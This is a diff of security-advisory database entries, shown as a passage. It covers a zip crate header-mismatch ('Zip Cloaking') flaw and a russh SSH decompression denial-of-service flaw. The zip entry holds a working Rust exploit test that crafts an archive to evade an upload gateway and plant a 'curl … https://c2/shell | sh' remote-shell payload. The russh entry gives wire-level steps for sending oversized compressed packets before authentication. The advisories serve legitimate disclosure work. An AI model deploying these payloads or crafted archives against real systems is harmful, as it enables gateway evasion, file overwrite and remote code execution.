ml"},{"type":"PACKAGE","url":"https://github.com/sparklemotion/nokogiri"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/releases/tag/v1.19.5"}],"database_specific":{"cwe_ids":["CWE-611","CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T20:52:38Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}
\ No newline at end of file
diff --git a/data/crates.io/GHSA-m665-v7pm-7grj.json b/data/crates.io/GHSA-m665-v7pm-7grj.json
index 2191088d88..80155fc91a 100644
--- a/data/crates.io/GHSA-m665-v7pm-7grj.json
+++ b/data/crates.io/GHSA-m665-v7pm-7grj.json
@@ -1 +1 @@
-{"schema_version":"1.9.2","id":"GHSA-m665-v7pm-7grj","published":"2026-10-28T21:09:50Z","modified":"2026-10-28T21:30:05.902127150Z","aliases":["CVE-2026-115905"],"summary":"zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE","details":"## Summary\nA critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.\n\nThis discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.\n\n---\n\n## Details\n\n### Architectural Root Cause\nIn the PKWARE ZIP archive format, every file entry is defined in two distinct locations:\n1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive.\n2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive.\n\nIn `zip2`:\n- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.\n- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH:\n  ```rust\n  // src/read/stream.rs\n  fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {\n      file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;\n      let mut outfile = fs::File::create(&outpath)?;\n      io::copy(file, &mut outfile)?;\n      Ok(())\n  }\n  ```\n- `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.\n\n### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)\n1. **Security Control Evasion:** An adversary crafts a ZIP archive where:\n   - Central Directory Header declares: `doc_report.pdf` (Clean document)\n   - Local File Header declares: `cron_worker.sh` (Malicious root backdoor)\n2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file.\n3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`.\n4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**).\n\n---\n\n## Proof of Concept\nThe following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`:\n\n```rust\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse tempfile::tempdir;\nuse zip::unstable::stream::ZipStreamReader;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n// Simulated Security Gateway (inspects CDFH via ZipArchive)\nfn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {\n    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();\n    for i in 0..archive.len() {\n        let name = archive.by_index(i).unwrap().name().unwrap().to_string();\n        if name.ends_with(\".sh\") || name.ends_with(\".exe\") {\n            return Err(format!(\"MALWARE DETECTED: '{}' blocked!\", name));\n        }\n        if !name.ends_with(\".pdf\") {\n            return Err(\"Policy violation: only PDFs allowed!\".into());\n        }\n    }\n    Ok(())\n}\n\n#[test]\nfn test_cvss_9_9_dual_header_exploit_chain() {\n    // 1. Victim server setup: existing critical script\n    let victim_env = tempdir().unwrap();\n    let victim_dir = victim_env.path();\n    let target_script = victim_dir.join(\"cron_worker.sh\");\n    fs::write(&target_script, b\"#!/bin/sh\\n# PRODUCTION SERVICE\\necho 'SERVICE HEALTHY'\\n\").unwrap();\n\n    // 2. Attacker crafts Single-Entry Dual-Header Archive\n    // LFH: \"cron_worker.sh\" | CDFH: \"doc_report.pdf\"\n    let mut payload = Cursor::new(Vec::new());\n    let mut writer = ZipWriter::new(&mut payload);\n    writer.start_file(\"cron_worker.sh\", SimpleFileOptions::default()).unwrap();\n    writer.write_all(b\"#!/bin/sh\\ncurl -s https://c2/shell | sh\\necho 'PWNED ROOT'\\n\").unwrap();\n    writer.finish().unwrap();\n\n    let mut malicious_zip = payload.into_inner();\n    let cdh = malicious_zip.windows(4).position(|s| s == b\"PK\\x01\\x02\").unwrap();\n    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b\"doc_report.pdf\");\n\n    // 3. Gateway Inspection (Bypassed!)\n    assert!(security_gateway_inspection(&malicious_zip).is_ok());\n\n    // 4. Backend Extraction (ZipStreamReader)\n    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();\n\n    // 5. Impact Verification\n    let compromised = fs::read_to_string(&target_script).unwrap();\n    assert!(!compromised.contains(\"SERVICE HEALTHY\")); // DoS Confirmed\n    assert!(compromised.contains(\"PWNED ROOT\"));       // RCE Confirmed\n}\n```\n\n### Verified Test Execution Output\n```text\nrunning 1 test\n==================================================================\nDual-Header Security Gateway Evasion\nExploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS\n==================================================================\n[VICTIM SERVER STATE - BEFORE ATTACK]\nExisting Content:\nSERVICE IS RUNNING NORMALLY\n\n--- [STEP 1: SECURITY GATEWAY INSPECTION] ---\n[SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf'\n[GATEWAY VERDICT]: Ok(())\n[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!\n\n--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---\nBackend server unzips approved archive into production directory.\n\n--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---\n[VICTIM SERVER STATE - AFTER ATTACK]\nCompromised Content:\ncurl -s https://attacker.c2/shell | sh\necho 'PWNED: FULL ROOT TAKEOVER'\n```\n\n---\n\n## Impact\nAn attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.\n\n**Who is Impacted:**\n- Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.\n- Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).\n- Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.","affected":[{"package":{"name":"zip","ecosystem":"crates.io","purl":"pkg:cargo/zip"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"9.0.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 9.0.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-m665-v7pm-7grj/GHSA-m665-v7pm-7grj.json"}}],"references":[{"type":"WEB","url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115905"},{"type":"WEB","url":"https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e"},{"type":"PACKAGE","url":"https://github.com/zip-rs/zip2"},{"type":"WEB","url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.5"}],"database_specific":{"cwe_ids":["CWE-20","CWE-436"],"github_reviewed":true,"github_reviewed_at":"2026-10-28T21:09:50Z","nvd_published_at":"2026-10-26T17:17:17Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L"}]}
\ No newline at end of file
+{"schema_version":"1.9.2","id":"GHSA-m665-v7pm-7grj","published":"2026-10-28T21:09:50Z","modified":"2026-11-10T20:00:05.060835398Z","aliases":["CVE-2026-115905"],"summary":"zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE","details":"## Summary\nA critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.\n\nThis discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.\n\n---\n\n## Details\n\n### Architectural Root Cause\nIn the PKWARE ZIP archive format, every file entry is defined in two distinct locations:\n1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive.\n2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive.\n\nIn `zip2`:\n- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.\n- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH:\n  ```rust\n  // src/read/stream.rs\n  fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {\n      file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;\n      let mut outfile = fs::File::create(&outpath)?;\n      io::copy(file, &mut outfile)?;\n      Ok(())\n  }\n  ```\n- `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.\n\n### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)\n1. **Security Control Evasion:** An adversary crafts a ZIP archive where:\n   - Central Directory Header declares: `doc_report.pdf` (Clean document)\n   - Local File Header declares: `cron_worker.sh` (Malicious root backdoor)\n2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file.\n3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`.\n4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**).\n\n---\n\n## Proof of Concept\nThe following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`:\n\n```rust\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse tempfile::tempdir;\nuse zip::unstable::stream::ZipStreamReader;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n// Simulated Security Gateway (inspects CDFH via ZipArchive)\nfn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {\n    let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();\n    for i in 0..archive.len() {\n        let name = archive.by_index(i).unwrap().name().unwrap().to_string();\n        if name.ends_with(\".sh\") || name.ends_with(\".exe\") {\n            return Err(format!(\"MALWARE DETECTED: '{}' blocked!\", name));\n        }\n        if !name.ends_with(\".pdf\") {\n            return Err(\"Policy violation: only PDFs allowed!\".into());\n        }\n    }\n    Ok(())\n}\n\n#[test]\nfn test_cvss_9_9_dual_header_exploit_chain() {\n    // 1. Victim server setup: existing critical script\n    let victim_env = tempdir().unwrap();\n    let victim_dir = victim_env.path();\n    let target_script = victim_dir.join(\"cron_worker.sh\");\n    fs::write(&target_script, b\"#!/bin/sh\\n# PRODUCTION SERVICE\\necho 'SERVICE HEALTHY'\\n\").unwrap();\n\n    // 2. Attacker crafts Single-Entry Dual-Header Archive\n    // LFH: \"cron_worker.sh\" | CDFH: \"doc_report.pdf\"\n    let mut payload = Cursor::new(Vec::new());\n    let mut writer = ZipWriter::new(&mut payload);\n    writer.start_file(\"cron_worker.sh\", SimpleFileOptions::default()).unwrap();\n    writer.write_all(b\"#!/bin/sh\\ncurl -s https://c2/shell | sh\\necho 'PWNED ROOT'\\n\").unwrap();\n    writer.finish().unwrap();\n\n    let mut malicious_zip = payload.into_inner();\n    let cdh = malicious_zip.windows(4).position(|s| s == b\"PK\\x01\\x02\").unwrap();\n    malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b\"doc_report.pdf\");\n\n    // 3. Gateway Inspection (Bypassed!)\n    assert!(security_gateway_inspection(&malicious_zip).is_ok());\n\n    // 4. Backend Extraction (ZipStreamReader)\n    ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();\n\n    // 5. Impact Verification\n    let compromised = fs::read_to_string(&target_script).unwrap();\n    assert!(!compromised.contains(\"SERVICE HEALTHY\")); // DoS Confirmed\n    assert!(compromised.contains(\"PWNED ROOT\"));       // RCE Confirmed\n}\n```\n\n### Verified Test Execution Output\n```text\nrunning 1 test\n==================================================================\n[CVSS 9.4 EXPLOIT PROOF] Dual-Header Security Gateway Evasion\nExploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS\n==================================================================\n[VICTIM SERVER STATE - BEFORE ATTACK]\nExisting Content:\nSERVICE IS RUNNING NORMALLY\n\n--- [STEP 1: SECURITY GATEWAY INSPECTION] ---\n[SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf'\n[GATEWAY VERDICT]: Ok(())\n[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!\n\n--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---\nBackend server unzips approved archive into production directory.\n\n--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---\n[VICTIM SERVER STATE - AFTER ATTACK]\nCompromised Content:\ncurl -s https://attacker.c2/shell | sh\necho 'PWNED: FULL ROOT TAKEOVER'\n\n==================================================================\n[CVSS 9.4 CRITICAL METRICS EMPIRICALLY CONFIRMED]\n1. AV:Network, PR:Low, UI:None: Remote unauthenticated gateway submission. Victim process must have write access to the files it is being made to overwrite or the location where it is to plant new files.\n2. Security Gateway Evasion: Scanners inspecting CDFH see benign PDF.\n3. Arbitrary File Overwrite (VI:High): Existing system scripts replaced.\n4. Service Destruction (VA:High): Critical production scripts wiped out.\n5. Remote Code Execution (VC:High / SC:High / SI:High): C2 root shell planted.\n=> VERIFIED SCORE: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L = 9.9 CRITICAL\n==================================================================\ntest test_cvss_9_9_dual_header_exploit_chain ... ok\n```\n\n---\n\n## Impact\nAn attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.\n\n**Vulnerability Class:** Interpretation Conflict (CWE-436) / Security Control Bypass / Arbitrary File Overwrite / Remote Code Execution.\n\n**Who is Impacted:**\n- Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.\n- Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).\n- Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.","affected":[{"package":{"name":"zip","ecosystem":"crates.io","purl":"pkg:cargo/zip"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"9.0.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 9.0.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-m665-v7pm-7grj/GHSA-m665-v7pm-7grj.json"}}],"references":[{"type":"WEB","url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-m665-v7pm-7grj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115905"},{"type":"WEB","url":"https://github.com/zip-rs/zip2/commit/8068ab480ccf8daa7411424e365fcdbe6d09443e"},{"type":"PACKAGE","url":"https://github.com/zip-rs/zip2"},{"type":"WEB","url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.5"}],"database_specific":{"cwe_ids":["CWE-20","CWE-436"],"github_reviewed":true,"github_reviewed_at":"2026-10-28T21:09:50Z","nvd_published_at":"2026-10-26T17:17:17Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L"}]}
\ No newline at end of file
diff --git a/data/crates.io/GHSA-wwx6-x28x-8259.json b/data/crates.io/GHSA-wwx6-x28x-8259.json
index ea7f534e73..76e0bf1748 100644
--- a/data/crates.io/GHSA-wwx6-x28x-8259.json
+++ b/data/crates.io/GHSA-wwx6-x28x-8259.json
@@ -1 +1 @@
-{"schema_version":"1.9.0","id":"GHSA-wwx6-x28x-8259","published":"2026-05-29T19:37:14Z","modified":"2026-09-10T03:50:48.021907014Z","aliases":["CVE-2026-46702"],"summary":"russh: Post-decompression SSH packet size was not bounded, allowing remote oversized compressed packets","details":"### Summary\n\nWhen SSH compression is enabled, `russh` accepted compressed packets whose on-wire size passed the normal transport packet-length checks but whose decompressed size was much larger. This allowed a remote peer to send oversized post-decompression packets that should have been rejected.\n\nIn current releases, this is a remote denial-of-service / resource-exhaustion issue in the post-decompression receive path.\n\nIn older releases before `0.58.0`, the same remote decompression path used `CryptoVec`, which appears to make the historical impact worse.\n\n### Details\n\nThe normal SSH transport read path enforces a packet-length limit before the packet body is read:\n\n- `russh/src/cipher/mod.rs`\n\nHowever, RFC 4253 compression is applied to the SSH `payload` field only. The `packet_length` field and MAC are computed over the compressed payload, so a packet that is reasonably sized on the wire can still expand to a much larger message body after decompression.\n\nIn `russh`, compressed packet bodies are later decompressed in:\n\n- `russh/src/compression.rs`\n- `russh/src/client/mod.rs`\n- `russh/src/server/session.rs`\n\nBefore the fix, `Decompress::decompress()` grew its output buffer by repeated doubling and did not enforce a separate post-decompression ceiling. That meant a peer could send a small compressed packet that passed the normal on-wire transport length checks and then inflate it into a much larger packet after decompression.\n\nIt was verified that an attacker-crafted compressed payload can stay below the normal `256 KiB` implementation transport packet cap while still inflating above the intended post-decompression bound. In other words, this is not only a \"large on-wire packet\" issue.\n\nVersion detail:\n\n- The underlying post-decompression bounds bug appears to affect `russh` as far back as `0.34.0`.\n- In historical releases `>= 0.34.0, < 0.58.0`, the remote decompression path still used `CryptoVec`. Remote compressed SSH traffic could drive that path, and under constrained memory that historical code path could abort the process.\n- In current-style releases `>= 0.58.0`, non-secret packet/decompression buffers were moved off `CryptoVec` and onto `Vec<u8>`, but the post-decompression size still remained unbounded. So the bug class remained reachable remotely, but the maintained-line impact is a current remote DoS / oversized-packet-acceptance issue rather than the older `CryptoVec`-based abort story.\n- The maintained-line fix was verified against `0.60.2`.\n\nCompression is not selected in a default-vs-default `russh` session because the default preference order puts `none` first. However, the default server configuration still advertises `zlib` and `zlib@openssh.com`, and server-side negotiation follows the client's preference order for common algorithms. A client that prefers compression can therefore negotiate it with a default `russh` server.\n\nOpenSSH portable was checked at `/home/mjc/projects/openssh-portable` commit `45b30e0a5`. OpenSSH enforces a `256 KiB` transport packet cap before decompression, but it does not reuse that cap after decompression. Instead, decompression writes to an `sshbuf`, which is indirectly bounded by OpenSSH's `SSHBUF_SIZE_MAX` hard maximum of `0x8000000` bytes (`128 MiB`).\n\nThe patch direction should follow that model: add an explicit post-decompression ceiling of `128 MiB`, rather than assuming the compressed transport packet cap also bounds decompressed payload size.\n\nRelevant OpenSSH reference points:\n\n- `/home/mjc/projects/openssh-portable/packet.c`: `PACKET_MAX_SIZE (256 * 1024)`\n- `/home/mjc/projects/openssh-portable/packet.c`: `uncompress_buffer()` inflates into `compression_buffer`\n- `/home/mjc/projects/openssh-portable/sshbuf.h`: `SSHBUF_SIZE_MAX 0x8000000`\n\n### RFC / OpenSSH Comparison\n\nRFC 4253 section 6 defines the binary packet format:\n\n- `packet_length`\n- `padding_length`\n- `payload`\n- random padding\n- MAC\n\nRFC 4253 section 6.2 says that, when compression is negotiated, the `payload` field is compressed, and that `packet_length` and MAC are computed from the compressed payload. The RFC also says implementations should check that packet length is reasonable to avoid denial-of-service and buffer-overflow attacks.\n\nThat means the pre-decompression transport packet length check is necessary but not sufficient. A correct implementation still needs a reasonable bound on the decompressed payload that becomes parser input.\n\nOpenSSH provides such a bound indirectly through `sshbuf`'s hard maximum. The `russh` fix should make the corresponding post-decompression bound explicit.\n\n### PoC\n\nThere were two kinds of proof:\n\n- a wire-cap sanity test showing an attacker-crafted best-compressed `DEBUG` payload can stay below the normal SSH transport packet cap while still inflating beyond the intended post-decompression bound\n- direct client and server receive-path tests that exercise the oversized post-decompression behavior itself\n\nThe current in-tree regression tests are:\n\n- `tests::compress::oversized_debug_payload_can_stay_below_wire_cap`\n- `compression::tests::oversized_decompressed_packet_is_rejected`\n- `client::tests::compressed_debug_is_ignored_after_client_parses_it`\n- `client::tests::oversized_compressed_debug_is_rejected_before_client_ignores_it`\n- `server::session::tests::compressed_debug_is_ignored_after_server_parses_it`\n- `server::session::tests::oversized_compressed_debug_is_rejected_before_server_ignores_it`\n\nThe important behavior is:\n\n1. An attacker-crafted best-compressed `DEBUG` payload can stay below the normal `256 KiB` transport packet cap while still inflating beyond `128 MiB`.\n2. In the direct client and server receive paths, small compressed `DEBUG` packets are still ignored normally after parsing.\n3. In the direct client and server receive paths, oversized compressed `DEBUG` packets are rejected before the implementation reaches the normal \"ignore DEBUG\" behavior.\n\nThe strongest PoC for severity is the unauthenticated server-side case. A malicious client can choose `zlib` in the initial key exchange, because the default server advertises it and server-side negotiation follows the client's preference order for common algorithms. After `NEWKEYS`, but before authentication, the client can send a transport-layer `SSH_MSG_DEBUG` packet whose compressed body is below the transport packet cap but whose decompressed body exceeds the post-decompression cap.\n\nThat demonstrates the `AV:N/AC:L/PR:N/UI:N` case directly: the attacker is a remote SSH client and does not need a successfully authenticated session.\n\n```rust\nfn compressed_debug_payload(payload_len: usize) -> Vec<u8> {\n    let mut payload = vec![b'A'; payload_len];\n    payload[0] = crate::msg::DEBUG;\n\n    let mut encoder =\n        flate2::write::ZlibEncoder::new(Vec::new(), flate2::Compression::best());\n    encoder.write_all(&payload).unwrap();\n    let compressed = encoder.finish().unwrap();\n\n    assert!(\n        compressed.len() < 256 * 1024,\n        \"oversized post-decompression payload still fits under the wire cap\"\n    );\n    compressed\n}\n\nfn incoming_packet(compressed: Vec<u8>) -> SSHBuffer {\n    let mut buffer = SSHBuffer::new();\n    // maybe_decompress() receives the clear SSHBuffer after packet framing,\n    // and decompresses bytes after packet_length + padding_length.\n    buffer.buffer.extend_from_slice(&[0; 5]);\n    buffer.buffer.extend_from_slice(&compressed);\n    buffer\n}\n\n#[test]\nfn unauthenticated_client_zlib_debug_is_rejected_by_server_before_auth() {\n    let mut server = preauth_server_session_after_newkeys_with_zlib_decompressor();\n    let oversized = MAXIMUM_DECOMPRESSED_PACKET_LEN + 1024;\n    let buffer = incoming_packet(compressed_debug_payload(oversized));\n\n    let err = server.maybe_decompress(&buffer).unwrap_err();\n    assert!(\n        matches!(err, crate::Error::PacketSize(len) if len > MAXIMUM_DECOMPRESSED_PACKET_LEN)\n    );\n}\n```\n\nThe equivalent wire-level attack shape is:\n\n```text\n1. Connect to a russh server using the default compression advertisement.\n2. Send SSH_MSG_KEXINIT with compression client-to-server preference:\n   zlib,zlib@openssh.com,none\n3. Complete key exchange and send SSH_MSG_NEWKEYS.\n4. Before any SSH_MSG_USERAUTH_REQUEST, send a compressed SSH_MSG_DEBUG packet:\n   - compressed packet body: < 256 KiB\n   - decompressed packet body: > 128 MiB\n5. Vulnerable behavior: russh accepts and inflates the packet, then reaches the\n   normal DEBUG ignore path.\n6. Fixed behavior: russh rejects during decompression with Error::PacketSize.\n```\n\nThe direct receive-path client/server regression tests are still useful because they isolate the bug precisely. They construct the post-decryption compressed packet body passed to `maybe_decompress()` and prove that the oversized packet is rejected before normal `DEBUG` ignore handling. The server-side pre-auth variant above is the one that justifies the highest CVSS framing for this bug.\n\nThe most important targeted checks are:\n\n```bash\ncargo test -p russh oversized_debug_payload_can_stay_below_wire_cap -- --nocapture\ncargo test -p russh oversized_compressed_debug_is_rejected_before_client_ignores_it -- --nocapture\ncargo test -p russh oversized_compressed_debug_is_rejected_before_server_ignores_it -- --nocapture\n```\n\nBefore the fix, both the direct client and direct server receive-path oversized checks went red because the compressed payload was accepted and decompressed instead of being rejected at the post-decompression boundary. After the fix, they pass.\n\n### Impact\n\nSuggested CVSS v3.1 for current maintained releases:\n\n- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n- Score: `7.5`\n\nReasoning:\n\n- `AV:N`: reachable by a remote SSH peer\n- `AC:L`: straightforward once compression is enabled\n- `PR:N`, `UI:N`: no prior auth or user interaction required\n- `C:N`, `I:N`: confidentiality or integrity impact was not demonstrated\n- `A:H`: remote peer can cause oversized post-decompression packet processing and disconnect / denial of service\n\nAffected versions:\n\n- historical stronger case: `russh >= 0.34.0, < 0.58.0`\n- current maintained remote DoS case: `russh >= 0.58.0`, including `0.60.3`\n\n### Fix / Patch Direction\n\nAdd an explicit maximum decompressed SSH packet size and enforce it inside `Decompress::decompress()` before returning decompressed bytes to the client or server packet parser.\n\nThe intended ceiling is `128 MiB`, matching OpenSSH portable's effective `sshbuf` hard maximum for post-decompression packet storage. The fix should reject decompression output larger than that bound with a packet-size error before normal message dispatch.\n\nThe fix should preserve normal compressed packet behavior below the cap, including `DEBUG` packets that are decompressed and then ignored through the existing normal path.\n\nPatch branch:\n\n```text\nfix/zlib-decompression-cap\n```","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.34.0"},{"fixed":"0.61.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-wwx6-x28x-8259/GHSA-wwx6-x28x-8259.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-wwx6-x28x-8259"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46702"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-05-29T19:37:14Z","nvd_published_at":"2026-06-10T22:17:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
+{"schema_version":"1.9.2","id":"GHSA-wwx6-x28x-8259","published":"2026-05-29T19:37:14Z","modified":"2026-11-10T20:00:05.088951269Z","aliases":["CVE-2026-46702"],"summary":"russh: Post-decompression SSH packet size was not bounded, allowing remote oversized compressed packets","details":"### Summary\n\nWhen SSH compression is enabled, `russh` accepted compressed packets whose on-wire size passed the normal transport packet-length checks but whose decompressed size was much larger. This allowed a remote peer to send oversized post-decompression packets that should have been rejected.\n\nIn current releases, this is a remote denial-of-service / resource-exhaustion issue in the post-decompression receive path.\n\nIn older releases before `0.58.0`, the same remote decompression path used `CryptoVec`, which appears to make the historical impact worse.\n\n### Details\n\nThe normal SSH transport read path enforces a packet-length limit before the packet body is read:\n\n- `russh/src/cipher/mod.rs`\n\nHowever, RFC 4253 compression is applied to the SSH `payload` field only. The `packet_length` field and MAC are computed over the compressed payload, so a packet that is reasonably sized on the wire can still expand to a much larger message body after decompression.\n\nIn `russh`, compressed packet bodies are later decompressed in:\n\n- `russh/src/compression.rs`\n- `russh/src/client/mod.rs`\n- `russh/src/server/session.rs`\n\nBefore the fix, `Decompress::decompress()` grew its output buffer by repeated doubling and did not enforce a separate post-decompression ceiling. That meant a peer could send a small compressed packet that passed the normal on-wire 